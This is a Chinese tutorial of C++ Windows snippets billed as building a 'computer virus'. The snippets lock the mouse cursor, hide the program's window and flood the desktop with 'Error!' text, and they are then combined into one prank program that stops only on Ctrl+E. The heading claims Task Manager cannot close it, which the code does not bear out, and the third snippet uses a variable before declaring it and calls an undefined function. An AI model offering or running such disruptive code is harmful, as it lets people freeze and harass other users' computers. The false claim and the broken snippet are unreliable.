1.锁定鼠标
难度指数:★
#include <Windows.h>
int main() {
while(1) SetCursorPos(0, 0);//让鼠标挺贵在00的位置
}
2.隐藏图标和界面,任务管理器无法关闭病毒程序
难度指数:★★
#include <Windows.h>
int main() {
HWND hwnd;
hwnd = FindWindow(L"ConsoleWindowClass", NULL);//找到当前窗口句柄
if (hwnd) {
ShowOwnedPopups(hwnd, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
ShowWindow(hwnd, SW_HIDE);//隐藏窗口
}
}
3.在桌面上疯狂显示 “ERROR!”
难度指数:★★★
#include <Windows.h>
int main() {
int client_width = 0, client_height = 0;
hdc = GetDC(NULL);
client_width = GetDeviceCaps(hdc, DESKTOPHORZRES);//获取电脑像素值宽
client_height = GetDeviceCaps(hdc, DESKTOPVERTRES);//获取电脑像素值高
HDC hdc = GetWindowDC(GetDesktopWindow());//HDC画布=桌面
while (1) {
//TextOutA(画布, X, Y, 字符串, 长度);
TextOutA(hdc, GetRand(10, client_width), GetRand(10, client_height), "Error!", 6);
SetCursorPos(0, 0);
}
}
把上面讲的几部分连起来,一个电脑病毒就做好了。
#include <Windows.h>
int GetRand(int min, int max) {
return (rand() % (max - min + 1)) + min;
}
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
int main() {
HWND hwnd;
hwnd = FindWindow(L"ConsoleWindowClass", NULL);//找到当前窗口句柄
if (hwnd) {
ShowOwnedPopups(hwnd, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
ShowWindow(hwnd, SW_HIDE);//控制窗口的可见性
}
HDC hdc;
int client_width = 0, client_height = 0;
hdc = GetDC(NULL);
client_width = GetDeviceCaps(hdc, DESKTOPHORZRES);
client_height = GetDeviceCaps(hdc, DESKTOPVERTRES);
hdc = GetWindowDC(GetDesktopWindow());
POINT p;
GetCursorPos(&p);//获取鼠标坐标
while (1) {
SetCursorPos(p.x, p.y);//更改鼠标坐标
TextOutA(hdc, GetRand(10, client_width), GetRand(10, client_height), "Error!", 6);
if (GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState('E')) break;//按下组合键停止
}
return 0;
}